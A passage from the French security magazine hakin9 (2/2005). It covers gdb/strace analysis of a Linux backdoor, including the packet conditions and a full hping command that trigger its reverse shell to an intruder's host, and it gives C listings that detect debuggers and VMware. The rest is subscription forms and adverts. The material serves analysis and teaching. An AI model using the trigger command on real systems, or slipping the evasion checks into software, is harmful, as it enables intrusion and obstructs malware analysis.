Pour lire le contenu de la mémoire spécifiée par l'adresse empilée, il faut utiliser la commande x (examine memory) : (gdb) x /1sb 0x80a6fe7 0x80a6ba3:
"dst port 80"
ou (gdb) x /12cb 0x80a6fe7 0x80a6ba3: 100 'd' 115 's' 116 't' 32 ' ' 112 'p' 111 'o' 114 'r' 116 't' 0x80a6bab: 32 ' '
56 '8'
48 '0'
0 '\0'
Après avoir effectué une analyse préliminaire du code du programme, nous pouvons le démarrer. Vu qu'au début de la fonction main() nous avons défini un point d'interruption, l'exécution du programme s'arrête à cet endroit. Lançons le programme en mode pas à pas : (gdb) run
hakin9 N o 2/2005
Analyse dynamique du code exécutable
Après l'arrêt de l'exécution dans l'endroit défini par le point d'interruption, le programme peut être redémarré à l'aide des commandes step, stepi, next, nexti qui se caractérisent par différents types d'exécution pas à pas. Pour redémarrer le programme jusqu'à l'endroit défini par le point d'interruption successif, il faut utiliser l'instruction continue. La continuation du fonctionnement du programme jusqu'à l'endroit indiqué peut être aussi atteinte au moyen des commandes until ou advance. En exécutant les instructions successives du programme analysé à l'aide de la commande nexti, nous parvenons enfin à l'endroit où il a planté. Cette situation a eu lieu à l'endroit de l'appel de la fonction localisée à l'adresse 0x08048b43. En comparant l'adresse à la liste des symboles récupérés, nous savons que c'est le lieu où la fonction pcap _ next est appelée. Nous avons obtenu le même résultat en suivant le fonctionnement du programme à l'aide de l'outil strace (le programme s'est arrêté sur la fonction recvfrom()). Il est évident que le programme attend certaines données du réseau. Nous savons aussi qu'il attend un paquet arrivant au port 80. Dans le cas où le programme analysé attend certaines informations extérieures, deux possibilités de continuer son fonctionnement et de l'analyser se présentent. La première consiste à essayer de livrer les informations souhaitées (dans notre cas – les tentatives de restaurer le paquet attendu du réseau). La seconde consiste à essayer de modifier le chemin d'exécution du programme par une manipulation des valeurs des registres du processeur et des données stockées dans la mémoire ou d'effectuer un saut en négligeant une certaine chaîne d'instructions. À l'aide de la première méthode, nous essayerons de générer un paquet et de l'envoyer au port 80 de l'hôte dans lequel le programme est analysé. Avant d'envoyer le paquet, nous définirons un breakpoint de façon à ce que le programme s'arrête juste après la réaction au paquet enregistré, c'est-à-dire, après l'appel
hakin9 N o 2/2005
de la fonction pcap _ next(). Nous générerons le paquet au moyen de l'outil hping : # hping –S –t 64 –c 1 \ –p 80 10.10.12.197
À la suite de la réception du paquet, le programme a redémarré et s'est arrêté à l'endroit où le point d'interruption a été défini. Dans la suite de l'analyse du code de la fonction main(), nous avons pu constater qu'il ne suffit pas d'envoyer un paquet quelconque au port 80. Puisque d'autres conditions concernant le paquet reçu n'ont pas été satisfaites, le programme a transféré le contrôle à la fonction pcap _ next() et s'est arrêté. La seconde approche, permettant d'éviter l'envoi d'un paquet qui doit satisfaire aux conditions déterminées, consiste à changer le chemin d'exécution du programme. En admettant que le programme attend une valeur déterminée du registre, nous pouvons conditionner son fonctionnement et entrer la valeur attendue dans le registre. Par exemple, si le programme compare (cmp) dans certain endroit le contenu du registre %eax avec une valeur déterminée (0x1ff1), nous pouvons faire que cette condition soit satisfaite, en utilisant la commande set. 08048c16: call 0x080635c0 … 08048c20: mov %eax,%eax 08048c22: cmp $0x1ff1,%ax
La modification de la valeur du registre %eax avant l'exécution de l'instruction cmp se présentera ainsi : (gdb) set $eax=0x1ff1
Si, par contre, nous voulons modifier le contenu de la mémoire à l'adresse définie, il faut aussi utiliser la commande set: set {type}address = value), où type est le type de la valeur stockée (value) à l'adresse indiquée (address). Pour qu'une certaine chaîne d'instructions soit négligée, il faut employer la commande jump.
www.hakin9.org
Après l'analyse et le débogage du code du programme, nous avons pu constater qu'afin que le programme sorte de la boucle d'appel de la fonction pcap _ next() et puisse continuer son fonctionnement, les conditions suivantes doivent être satisfaites : •
• •
•
la taille du paquet doit être supérieure à 34 octets, c'est-à-dire à la somme de la longueur de l'en-tête Ethernet au niveau de la couche de liaison des données (14 octets) et de la longueur de l'en-tête IP (20 octets), le champ de l'en-tête IP avec sa version doit contenir la valeur 4, le drapeau SYN doit être positionné, mais excepté la combinaison SYN + ACK, le champ avec le numéro d'identification du paquet dans l'entête IP doit avoir la valeur 8177 (0x1ff1).
Si les conditions ci-dessus sont satisfaites, le programme crée un processus fils qui interprète la valeur du numéro de séquence du paquet satisfaisant à ces conditions comme adresse IP cible de la connexion et le port source de ce paquet comme port cible de la connexion. La connexion établie est une connexion de retour réalisée à partir du système compromis à l'hôte défini par l'intrus. Dans la suite, le code analysé ouvre le périphérique du terminal et donne accès au shell système. Après toutes ces opérations, le programme exécute une boucle dans laquelle les données sont transférées entre le terminal et la connexion établie vers le hôte de l'intrus. Le paquet satisfaisant aux conditions définies peut être généré au moyen de l'outil hping : # hping -S -N 8177 \ -M 168430815 -c 1 -p 80 \ -s 88 10.10.12.197
Dans le cas du débogage, il est également possible de se connecter au processus en cours et de commencer à suivre son fonctionnement à partir de l'endroit où il a été
67
intercepté (l'exécution du processus est arrêté après l'activation du traçage de son fonctionnement). La connexion au processus en cours peut être réalisée au moyen de la commande de gdb attach, par contre detach sert à libérer le processus du contrôle du débogueur. Après la libération, le processus continue son fonctionnement. Si le débogueur est arrêté lors de l'opération de traçage du processus intercepté, le programme termine aussi son fonctionnement. Au lieu du débogueur gdb, nous pouvons utiliser aussi les solutions alternatives, comme par exemple privateICE. C'est un débogueur interactif du niveau noyau, similaire à SoftICE conçu pour la plate-forme Microsoft Windows, chargé dans le système sous forme d'un module. Une autre solution est KDB, un débogueur intégré dans le noyau du système.
Défense
Problèmes
68
Lors de l'analyse, nous nous sommes concentrés avant tout sur les problèmes concernant l'analyse dynamique – le lancement du programme suspect et les tentatives d'estimation des opérations qu'il exécutait à partir des informations disponibles par défaut dans le système d'exploitation, l'analyse de la mémoire du processus, la traçage des appels des fonctions système et l'analyse pas à pas (débogage). Mais dans le cas de l'analyse de ce type, il faut rester vigilant et ne pas oublier que l'auteur du programme suspect aurait pu tenter de la rendre plus difficile ou de tromper celui qui l'effectue (cf. l'Encadré Techniques empêchant le désassemblage et le débogage). Nous avons présenté l'analyse du code fonctionnant en mode utilisateur – sans les mécanismes pouvant rendre cette analyse plus diffi cile. Elle aurait pu être beaucoup plus diffi cile à effectuer, si le programme analysé avait été chiffré, par exemple, à l'aide de Shiva. De plus, il ne faut pas oublier qu'il existe des portes dérobées ou rootkits fonctionnant de façon plus
Techniques empêchant le désassemblage et le débogage
Il existe plusieurs techniques visant à empêcher le désassemblage et le débogage des programmes exécutables ELF. Théoriquement, l'analyse est possible, mais il est très difficile de l'effectuer. À présent, l'une des techniques les plus intéressantes pour rendre le désassemblage et le débogage plus difficile consiste à utiliser les outils de chiffrage des programmes exécutables ELF. Shiva est l'exemple d'une solution de ce type. Elle implémente la protection multiniveaux des programmes exécutables. Outre le mécanisme d'obfuscation du code et de chiffrage par blocs, Shiva place dans le fichier exécutable les mécanismes qui empêchent l'analyse standard employant les outils basés sur la fonction système ptrace(). Il est facile de deviner que l'application de cette solution rend aussi plus difficile l'analyse statique car afin d'obtenir le code approprié du programme, il est nécessaire de passer par plusieurs niveaux de sécurité (p. ex. l'outil strings employé pour retrouver les chaînes de caractères suspectes peut s'avérer complètement inutile). Outre Shiva, il existe aussi d'autres chiffreurs publics des programmes exécutables ELF, comme Burneye ou ELFcrypt. Certaines méthodes utilisées par programmeurs pour empêcher ou rendre l'analyse plus difficile ont été présentées dans l'article Quelques méthodes simples pour détecter les débogueurs et l'environnement VMware dans ce numéro de hakin9.
sophistiquée, comme par exemple, le code fonctionnant au niveau du noyau sous forme d'un module ou le code placé directement dans l'espace mémoire réservé pour le noyau du système (cf. l'article Rootkit personnel dans GNU/Linux dans ce numéro de hakin9). L'analyse dynamique présentée dans cet article n'est pas la seule
possibilité d'effectuer ces types d'opérations. Outre l'analyse basée surtout sur le désassemblage du code du programme (statique) ou le traçage pas à pas de son exécution (dynamique), il existe encore une approche – l'émulation ou la simulation de l'exécution du code analysé. n
Sur le réseau Bibliographie : • http://www.faqs.org/docs/kernel_2_4/lki.html – l'introduction à la structure du noyau de Linux, • http://www.gnu.org/software/gdb/documentation/ – la documentation du débogueur GDB, • http://www.l0t3k.net/biblio/reverse/en/linux-anti-debugging.txt – la description des quelques techniques empêchant le débogage, • http://www.phrack.org/show.php?p=58&a=5 – l'article sur le chiffrage des fichiers binaires, • http://www.ecsl.cs.sunysb.edu/tr/BinaryAnalysis.doc – une présentation très ample des outils pour l'analyse du code binaire. Outils : • http://www.tripwire.org/ – Tripwire, • http://www.cs.tut.fi /~rammer/aide.html – AIDE, • http://la-samhna.de/samhain/ – SAMHAIN, • http://osiris.shmoo.com/ – Osiris, • http://www.hick.org/code.html – memgrep, • http://www.gnu.org/software/ddd/ – DDD, • http://members.nextra.at/johsixt/kdbg.html – KDbg, • http://syscalltrack.sourceforge.net/ – syscalltrack, • http://www.securereality.com.au/ – Shiva, • http://pice.sourceforge.net/ – privateICE, • http://oss.sgi.com/projects/kdb/ – KDB.
www.hakin9.org
hakin9 N o 2/2005
Quelques méthodes simples pour détecter les débogueurs et l'environnement VMware Mariusz Burdach
La première étape de la sécurisation du code contre l'ingénierie inverse consiste à détecter les débogueurs et les machines virtuelles. Contrairement aux apparences, cela n'est pas difficile à faire.
L
Défense
'article de Marek Janiczek Reverse engineering – analyse dynamique du code exécutable ELF publié dans ce numéro de hakin9 porte sur l'analyse des logiciels non protégés contre le débogage. En réalité, l'analyse peut être beaucoup plus compliquée – les développeurs font tout leur possible pour créer des applications de sorte à rendre impossible le suivi de leur fonctionnement (à l'aide de gdb – GNU Debugger, par exemple). Les auteurs des logiciels tentent également de verrouiller le fonctionnement de leurs œuvres dans les environnements virtuels de type VMware. Examinons de plus près les méthodes qui permettent de faire ce verrouillage.
70
Détecter l'environnement VMware
Pour vérifi er si le système d'exploitation, où votre logiciel a été démarré, tourne effectivement dans l'environnement virtuel VMware, il va falloir utiliser l'instruction en assembleur SIDT (en anglais Store Interrupt Descriptor Table) qui permet d'obtenir le contenu du registre IDTR (en anglais Interrupt Descriptor Table Register). Ce registre comprend un
www.hakin9.org
pointeur sur l'adresse linéaire où se trouve la table IDT (en anglais Interrupt Descriptor Table) et sur sa valeur limite. L'instruction SIDT peut être appelée au niveau de votre application sans générer une exception et ce qui est plus important, sans qu'il soit nécessaire de posséder les droits appropriés dans le système. Pour l'appeler, tapez : SIDT m
où m doit comprendre le contenu de l'IDTR (celui-ci se trouve sur la pile). Notre logiciel ayant pour objectif de détecter l'environnement VMware étant écrit en C, le mieux va être d'insérer directement dans le
Cet article explique... • •
comment détecter les débogueurs, comment détecter la machine virtuelle VMware.
Ce qu'il faut savoir... • •
connaître le langage de programmation en C, savoir programmer en assembleur.
hakin9 N o 2/2005
Détecter les débogueurs et les machines virtuelles
code une partie en assembleur via l'instruction asm : asm ("sidt %0" : "=m" (idtr));
Si le logiciel est démarré via un système Linux et donc sur une machine non virtuelle, l'instruction SIDT doit alors enregistrer le contenu réel de l'IDTR décrit à l'aide de six octets. Les quatre octets supérieurs constituent l'adresse de la table ainsi que l'adresse de la première ligne du texte dans l'IDT. L'adresse IDT est définie lors de la compilation du noyau et elle commence par la valeur 0xc0xxxxxx, peu importe que le système soit démarré sur la machine virtuelle ou sur un système réel. Si cependant, vous appelez le SIDT dans l'environnement virtuel, vous allez recevoir l'adresse commençant par la valeur 0xffxxxxxx, c'est-àdire une adresse incorrecte. Les tests effectués sur VMware GSX Server 3.1.0 et Workstation 4.5 prouvent que l'adresse 0xffc18000 est toujours retournée (il est difficile de constater si c'est une erreur de la part de VMware ou si c'est un acte volontaire généré par les créateurs du système). Pour conserver une certaine marge de sécurité, nous n'allons vérifier que le début de l'adresse retournée. Vous pouvez donc admettre que si l'adresse commence par 0xc0, vous avez à faire à une machine réelle et si elle commence par 0xff – c'est une machine virtuelle. La tâche principale de notre logiciel (voir le Listing 1) va être d'enregistrer le contenu de l'IDTR dans la table idtr[] constituée de six éléments. N'oubliez pas que dans l'architecture x86 (little endian) les adresses sont enregistrées dans l'ordre inverse que l'ordre normal (les octets les plus jeunes sont situés en première position). Ainsi, la valeur que vous devez vérifier sera enregistrée dans le dernier élément de la table. Au lieu du commentaire //notre logiciel, mettez le code de votre logiciel qui ne doit s'exécuter que sur la machine réelle. Une fois le VMware détecté, le logiciel va cesser de fonctionner. Bien sûr, après avoir détecté l'environnement virtuel, il est
hakin9 N o 2/2005
possible d'appeler un autre code (en remplacement de la ligne contenant le commentaire //ou un logiciel déroutant) qui va avoir pour but de dérouter la personne étudiant le logiciel dans l'environnement VMware.
Détecter un débogueur – méthode 1
Pour détecter un débogueur, profitez du fait qu'un logiciel ou un processus, puisse être suivi uniquement par un processus (cette contrainte est imposée par le système d'exploitation). Sachez donc que si votre logiciel est suivi par un processus de débogage, chaque tentative de suivi échouera. gdb et les autres outils de suivi de logiciels (ldd, par exemple) se servent de la fonction système ptrace() assurant au processus appelant le contrôle total d'un autre processus spécifié. Si un processus (gdb, par exemple) initialise le suivi d'un logiciel spécifié, il crée un processus fils (pour assurer le suivi) à l'aide de la fonction fork(), puis il appelle la fonction ptrace() avec la valeur PTRACE _ TRACEME. Cela signifie que le processus fils sera suivi par le processus supérieur qui est gdb. La détection de la présence d'un débogueur est donc une tâche banale – il suffit d'appeler à nouveau la fonction ptrace() au début de votre logiciel et de vérifier le résultat que celle-ci va retourner. Si le processus est déjà suivi, la valeur négative sera retournée. Le code du logiciel permettant de faire fonctionner ce mécanisme est présenté dans le Listing 2. Notez que la fonction ptrace() doit être appelée avec la valeur PTRACE _ TRACEME. Les autres valeurs n'ont pas d'importance car elles seront ignorées. Le logiciel suivi à l'aide de gdb affichera sur la sortie standard la chaîne de caractères Débogueur détecté et il cessera de fonctionner. S'il n'est pas démarré par le débogueur, il procédera à l'exécution du code adéquat se trouvant à la place du commentaire //notre logiciel.
Détecter un débogueur – méthode 2
L'une des différences visibles entre le démarrage d'un logiciel au moyen de
www.hakin9.org
Listing 1. Logiciel de détection de VMware #include <stdio.h> main() { unsigned char idtr[6]; asm ("sidt %0" : "=m" (idtr)); if(0xff==idtr[5]) { printf("VMware\n"); return 1; //ou un logiciel déroutant } else { //notre logiciel return 0; } }
Listing 2. Logiciel de détection du débogueur – méthode 1 #include <sys/ptrace.h> main() { if (ptrace(PTRACE_TRACEME, 0,0,0)<0) { printf("Débogueur détecté\n"); return 1; } else { //notre logiciel return 0; } }
l'outil gdb et la création d'un processus sans son aide est le nombre de descripteurs de fichiers. Au démarrage du logiciel le plus simple, trois descripteurs de fichiers sont créés par défaut : 0, 1, 2 (stdin, stdout, stderr). Pour le vérifier, consultez le contenu du sous-repértoire fd dans le système de fichiers procfs (monté en règle générale dans /proc) – dans un répertoire correspondant à l'identifiant du processus – voir le Listing 3. Lorsque le même logiciel sera démarré à l'aide de l'outil gdb, il y aura cinq descripteurs de fichiers au minimum – les descripteurs 3 et 4 seront créés par gdb (voir le Listing 4). La présence de gdb peut être détectée en appelant les fonctions qui permettent de manipuler les
71
Listing 3. Descripteurs de fichiers pour le processus non démarré par le débogueur
Listing 5. Logiciel de détection du débogueur – méthode 2
# ls -la /proc/3404/fd total 3 dr-x------ 2 root root 0 Nov 23 dr-xr-xr-x 3 root root 0 Nov 23 lrwx------ 1 root root 64 Nov 23 lrwx------ 1 root root 64 Nov 23 lrwx------ 1 root root 64 Nov 23
main() { if (close(3)<0) { //notre logiciel return 0; } else { printf("Débogueur détecté\n"); return 1; } }
01:22 01:22 01:23 01:23 01:22
. .. 0 -> /dev/pts/0 1 -> /dev/pts/0 2 -> /dev/pts/0
Listing 4. Descripteurs de fichiers pour le processus lancé par gdb # ls -la /proc/3408/fd total 11 dr-x------ 2 root root dr-xr-xr-x 3 root root lrwx------ 1 root root lrwx------ 1 root root lrwx------ 1 root root lr-x------ 1 root root lr-x------ 1 root root
0 0 64 64 64 64 64
Nov Nov Nov Nov Nov Nov Nov
23 23 23 23 23 23 23
01:24 01:24 01:24 01:24 01:24 01:24 01:24
descripteurs de fichiers. À titre d'exemple, choisissons la fonction close() dont le but est de fermer un descripteur de fichier spécifié – essayons de fermer le descripteur n° 3. Si notre tentative réussit, cela signifie que le logiciel a été démarré à l'aide de gdb. Si elle échoue, la fonction close() retournera la valeur négative (-1) ce qui voudra donc dire que votre logiciel n'a pas été démarré au moyen de gdb. Pour consulter le code du logiciel, reportez-vous au Listing 5.
Défense
Détecter un débogueur – méthode 3
72
Une autre méthode intéressante permettant de détecter les outils de suivi consiste à utiliser les fonctions getpid(), getppid() et getsid(). Les deux premières retournent l'identifiant du processus actuel (PID) et du processus père (PPID). Cependant, la fonction getsid() retourne l'identifiant de la session du processus appelant (SID). Notez que lorsque vous démarrez votre logiciel (compilé sous le nom de test, par exemple) directement depuis un shell de commandes, la valeur PPID est la même que la valeur SID (dans notre exemple – 10996) – voir le Listing 6. Si cependant, le logiciel est appelé à l'aide d'un outil de suivi (gdb,
. .. 0 -> 1 -> 2 -> 3 -> 4 ->
/dev/pts/0 /dev/pts/0 /dev/pts/0 /root/anti/test /root/anti/test
par exemple), la valeur PPID est autre que la valeur SID (le PPID pour le processus test est de 22126 et le SID est égal à 22098) – voir le Listing 7. Cela paraît évident étant donné que le logiciel de suivi est un processus père. Il s'agit d'utiliser ici la méthode permettant à un outil de suivi de lancer la fonction ptrace() et cette dernière va donc créer un processus fils au moyen de la fonction fork(). En étant conscient de cette dépendance, il est possible d'utiliser dans le logiciel une condition simple permettant de détecter les outils de suivi. Pour consulter le code de ce logiciel, reportez-vous au Listing 8. Note – si le logiciel est démarré au niveau du shell hérité (après avoir appelé su, par exemple), il se comportera comme s'il était démarré sous le débogueur.
Simple et efficace
Les méthodes décrites peuvent rendre l'analyse dynamique du code beaucoup plus difficile. Comme vous avez pu le constater, elles ne sont pas compliquées et ce qui est plus important – elles ne contiennent que quelques lignes de code (une ligne une fois les modifications nécessaires effectuées). N'oubliez pas que ces méthodes servent plus à détecter la présence du VMware ou du débogueur plutot qu'à
www.hakin9.org
Listing 6. Valeurs PPID et SID pour le logiciel de test $ ps --format "pid ppid sid cmd" PID PPID SID CMD (...) 12209 10996 10996 test (...)
Listing 7. Valeurs PPID et SID en cas de démarrage à l'aide de gdb $ ps --format "pid ppid sid cmd" PID PPID SID CMD (...) 22126 22098 22098 gdb test 22157 22126 22098 test (...)
Listing 8. Logiciel de détection du débogueur – méthode 3 main () { if(getppid()==getsid(getpid())) { //notre logiciel return 0; } else { printf("Débogueur détecté\n"); return 1; } }
sécuriser réellement votre code. Si vous deviez augmenter la sécurité, il faudrait par exemple chiffrer et déchiffrer directement les sources dans la mémoire opérationnelle. n
hakin9 N o 2/2005
+
Voulez-vous payer moins que ce que vous devriez payer dans le kiosque ?
adeau!* c en
Voulez-vous recevoir régulièrement votre magazine préféré ?
Abonnez-vous ! en abonnement coûte moins cher
38 €
*Jusqu’à épuisement du stock
Archives de hakin9 sur CD pour chaque abonné !
Commande Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier : Software-Wydawnictwo Sp. z o. o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; E-mail : [email protected] Prénom Nom ..................................................................................... Entreprise ......................................................................................... Adresse ........................................................................................................................................................................................................... Code postal ......................................................................................
Ville ...................................................................................................
Téléphone .........................................................................................
Fax ....................................................................................................
E-mail ................................................................................................ Je souhaite recevoir l'abonnement à partir du numéro .................
Prix de l’abonnement annuel de Hakin9 – 38 € Je règle par : ¨
Carte bancaire n° CB
¨
type de carte ..........................................................................
¨ Virement bancaire : Nom banque : Société Générale Chasse/Rhône banque guichet numéro de compte clé Rib 30003 01353 00028010183 90 IBAN : FR76 30003 01353 00028010183 90 Adresse Swift (Code BIC) : SOGEFRPP
expire le
date et signature obligatoires
www.shop.software.com.pl Abonnez-vous à vos magazines préférés et commandez des anciens numéros !
Vous pouvez en quelques minutes et en toute sécurité vous abonner à votre magazine préféré. Nous vous garantissons : • des tarifs préférentiels, • un paiement en ligne sécurisé, • la prise en compte rapide de votre commande. Abonnement en ligne sécurisé à tous les magazines de la maison d’édition Software !
bulletin d’abonnement Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier : Software-Wydawnictwo Sp. z o. o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; E-mail : [email protected] Prénom Nom ............................................................................................... Entreprise ................................................................................................... Adresse ................................................................................................................................................................................................................................. Code postal ..............................................................................................
Ville ..............................................................................................................
Téléphone ...................................................................................................
Fax ...............................................................................................................
E-mail ..........................................................................................................
Je souhaite recevoir l'abonnement à partir du numéro ...........................
Titre
Nombre de numéros annuels
Nombre d’abonnements
À partir du numéro
Prix
12
54 €
6
38 €
12
86 €
6
50 €
PHP Solutions (1 CD-ROM) Le plus grand magazine sur PHP au monde
6
38 €
PHP Solutions .PRO pour les abonnées Annonce dans PHP Solutions pendant toute durée de l’abonnement
6
95 €
6
38 €
Aurox Linux (7 CD-ROMs) Trimestriel avec distribution Linux complète
4
38 €
.PSD Bimestriel pour les utilisateurs d’Adobe Photoshop
6
39 €
Software 2.0 (1 CD-ROM) Mensuel pour les programmeurs professionnels Software 2.0 Extra! (1 CD-ROM) Hors-série du magazine Software 2.0 Linux+DVD Mensuel unique avec 2 DVDs consacré à Linux et à ses utilisateurs Collection Linux+ Distributions Distributions Linux les plus populaires (de 4 à 7 CDs joints au chaque magazine)
Hakin9 – comment se défendre ? Bimestriel destiné aux personnes qui s’intéressent à la sécurité des systèmes informatiques
Je règle par : ¨
Carte bancaire n° CB
¨
type de carte ..........................................................................
¨ Virement bancaire : Nom banque : Société Générale Chasse/Rhône banque guichet numéro de compte clé Rib 30003 01353 00028010183 90
IBAN : FR76 30003 01353 00028010183 90 Adresse Swift (Code BIC) : SOGEFRPP
expire le
date et signature obligatoires
Dans le prochain numéro :
Tests de pénétration extérieur
Les tests de pénétration locaux ne disent pas toujours toute la vérité sur le niveau de sécurité du réseau entier – les intrus, pour s’introduire dans un réseau, utilisent le plus souvent les connexions distantes. Les tests de pénétration extérieurs permettent d’estimer les menaces réelles. Dans son article, Rudra Kamal Sinha Roy raconte comment analyser le site Web de notre propre réseau.
Attaques SQL Injection SQL Injection est une technique d’attaque contre les bases de données très populaire. Bien qu’elle soit très connue, les crackers l’utilisent toujours avec succès. Tobias Glemser explique comment employer cette technique d’attaque, comment s’y défendre et que peut faire l’intrus pour contourner magic_quotes.
Honeypots – un leurre aux vers La lutte contre les vers réseau est le cauchemar de chaque administrateur d’un grand réseau. Cette tâche fastidieuse peut être améliorée grâce aux honeypots – des leurres virtuels simulant le fonctionnement de vrais systèmes. Michał Piotrowski, sur l’exemple de Sasser et Blaster, présentera les techniques de désactivation des vers.
Sécurité physique des systèmes informatiques Même les pare-feux les plus parfaits ne suffisent pas pour garder notre infrastructure loin de la portée des intrus. On dit que le système sûr est celui qui est débranché. Est-ce vraiment si difficile ? Comment assurer la sécurité physique de nos systèmes ? L’article de Jeremy Martin permettra de répondre à ces questions.
Méthodes de dissimulation des rootkits
Placer un rootkit dans un système n’est pas encore un succès. Un administrateur expérimenté se rendra vite compte de la présence du code indésirable. L’intrus, pour dissimuler ses actions, doit effectuer beaucoup de travail. Mariusz Burdach présentera les techniques les plus efficaces de dissimulation de la présence des rootkits.
Sur le CD • • •
•
hakin9.live – la distribution bootable de Linux, beaucoup d’outils – une boîte à outils de chaque hacker, les tutoriaux – les exercices pratiques concernant les questions abordées dans les articles, une documentation supplémentaire.
Les informations actuelles sur le numéro à venir – http://www.hakin9.org Le numéro disponible à la vente depuis la fin du mois d’avril 2005.
La rédaction se réserve le droit de changer le contenu du magazine.
Vous trouverez les informations les plus récentes sur le marché des logiciels dans les
Catalogues de hakin9
Sujets des catalogues contenant des articles publicitaires pour le magazine hakin9, année 2005 : N°
Sujets du catalogue
3/2005
1. Logiciels anti-virus pour les stations client et serveurs
4/2005
1. Systèmes IDS et IPS (pour détecter les intrusions et protéger contre celles-ci) 2. Scanners de sécurité et outils de tests de pénétration 3. Services d’audits de sécurité
5/2005
1. Pare-feux matériels et logiciels 2. Systèmes VPN matériels et logiciels 3. Services de conception et de contrôle des pare-feux
6/2005
1. Matériel réseau (dispositifs actifs et passifs, éléments du réseau) 2. Logiciels de gestion de système informatique de l’entreprise 3. Services de conception et de réalisation des réseaux informatiques sûrs
1/2006
1. Systèmes de stockage de données sûrs 2. Logiciels de gestion de stockage et récupération de données 3. Récupération de données du matériel abîmé et suppresion de données sûre
2/2006
1. Cryptage de données : logiciels pour les stations client et serveurs 2. Matériel de cryptage 3. Systèmes PKI, autorités de certification
Chaque numéro présente des sujets différents. Le catalogue contient les présentations des entreprises et leurs coordonnées. Chef du projet : Szymon Kierzkowski tél : +48 22 860 18 92 e-mail : [email protected]
G-Lock Software
ARRÊTER LE COURRIER NON SOLLICITÉ ET LES VIRUS AVANT QU'ILS GAGNENT VOTRE BOÎTE DE RÉCEPTION G-Lock SpamCombat est le logiciel anti-spam le plus populaire et le plus efficace publié par un éditeur de logiciels indépendant. Non sans raison, en effet Alexa met le site WWW.glocksoft.com sur la liste des 100000 pages les plus populaires sur le réseau et le moteur de recherche Google affiche plus de 17000 résultats concernant G-Lock SpamCombat, c'est-à-dire trois fois plus que les résultats trouvés pour les « grandes » solutions commerciales de ce type. La raison de cette popularité est que G-Lock SpamCombat est capable d'arrêter 99,5% du spam et des virus avant qu'ils gagnent la boîte de réception. En pratique, le logiciel ne télécharge pas le courrier non sollicité mais il le supprime directement à partir du serveur. Pour atteindre ce niveau d'efficacité et de précision, G-Lock SpamCombat emploie tous les moyens de lutte connus contre le spam – la liste noire et la liste blanche, les filtres de Bayes et les nouvelles méthodes – les validateurs HTML et les filtres DNSBL. La liste noire et la liste blanche sont des solutions très répandues mais passives, c'est la raison pour laquelle elles ne sont pas capables de vous protéger contre les attaques de virus et du spam venant des adresses e-mail inconnues. Par contre, le validateur HTML et les filtres DNSBL sont capables de remplir cette tâche. Le premier des outils cités permet de vérifier le contenu du message HTML suspect sans télécharger les images et sans lancer les scripts cachés. Le second est le filtre DNSBL qui a pour rôle de comparer l'adresse de l'expéditeur du message avec la liste des logiciels de spam Information : Page d'éditeur : http://www.glocksoft.com/ Page de produit : http://www.glocksoft.com/sc/ index.htm Source de téléchargement : http://mirror1.glocksoft.com/ spamcombat.zip
78
connus. Cette technique s'avère être très efficace notamment dans la lutte contre les logiciels de spam tentant d'utiliser les adresses de retour des sociétés de haute renommée. On appelle le filtre de Bayes, un mécanisme compliqué d'analyse mathématique permettant d'analyser le contenu du message basé sur la capacité d'auto-apprentissage. L'algorithme analyse les messages désignés par l'utilisateur comme « bons » ou comme « mauvais », puis il est capable d'analyser un nouveau message inconnu et de déterminer son caractère avec 99.55% d'efficacité. Contrairement aux autres solutions anti-spam, G-Lock SpamCombat ne confondra jamais le message HTML opt-in (opt-in HTML newsletter) avec les messages de publicité de Viagra. Tout ce que nous avons pu observer sur le logiciel SpamCombat prouve que celui-ci est configurable minutieusement. La plupart des fenêtres peuvent être déplacées, masquées, affichées, fixées en dur, masquées automatiquement ou attachées – tout ceci ne dépend que de la volonté de l'utilisateur. Il en est de même pour les barres d'outils que vous pouvez déplacer et attacher dans les endroits quelconques. L'apparence de l'application elle-même peut être également complètement modifiée grâce au changement de
couleurs et de style des barres d'outils. L'indépendance par rapport à un logiciel de messagerie est un autre avantage de G-Lock SpamCombat. Comme il supporte les protocoles POP3 et IMAP, il peut être configuré pour travailler avec des services Web populaires, tels que Hotmail ou Yahoo. Les utilisateurs d'AOL peuvent également utiliser cette application. En outre, G-Lock SpamCombat utilise une licence non standardisée. L'enregistrement coûte 35 dollars US. La version de démonstration supportant seulement un compte courrier, mais doté de toutes les fonctionnalités et sans limitations temporelles est également disponible. Cela veut dire que les utilisateurs d'un compte courrier unique peuvent profiter entièrement et gratuitement de cet outil puissant. Traits caractéristiques et avantages de G-Lock SpamCombat : •
•
Auto-apprentissage. SpamCombat apprend des règles en fonction des spams reçus et des messages qualifiés comme bons. Grâce à cela, il vous offre une précision et une efficacité hors du commun dans la lutte contre le spam. Suppression des messages avant qu'ils soient téléchargés dans la boîte de réception.
•
•
•
•
•
De façon sûre, vous pouvez avoir un aperçu du contenu du message afin de décider de le supprimer ou non. Cette méthode est excellente pour combattre les virus, les logiciels espions et les pièces jointes de grande taille. Liste blanche. Vous y ajoutez les sources des messages attendus. Grâce à cela, tous les messages venant de ces adresses seront désignés comme « bons ». Liste noire. La liste noire du logiciel SpamCombat vous donne la possibilité d'arrêter de façon efficace les types de virus les plus populaires ainsi que le spam. Il est également possible d'ajouter à cette liste vos propres positions. Filtrage. Possibilité de filtrer simultanément le courrier venant de plusieurs comptes et de supprimer automatiquement le spam de telle manière à ce que le courrier non sollicité ne soit pas aperçu. Mode automatique. Possibilité de vérifier l'arrivée de nouveaux messages aux heures spécifiées. Récupération des messages e-mail. Si vous avez supprimé par maladresse un message qui soit sans mauvaises intentions, G-Lock SpamCombat vous permet de le récupérer depuis la corbeille et de le recevoir via un client de messagerie.
•
•
Statistiques. Les statistiques concernant les messages analysés sont affichées sous forme de tables et de diagrammes. Interface utilisateur conviviale et configurable. Vous pouvez modifier librement le menu, les barres d'outils, les tables et les aperçus de
•
•
•
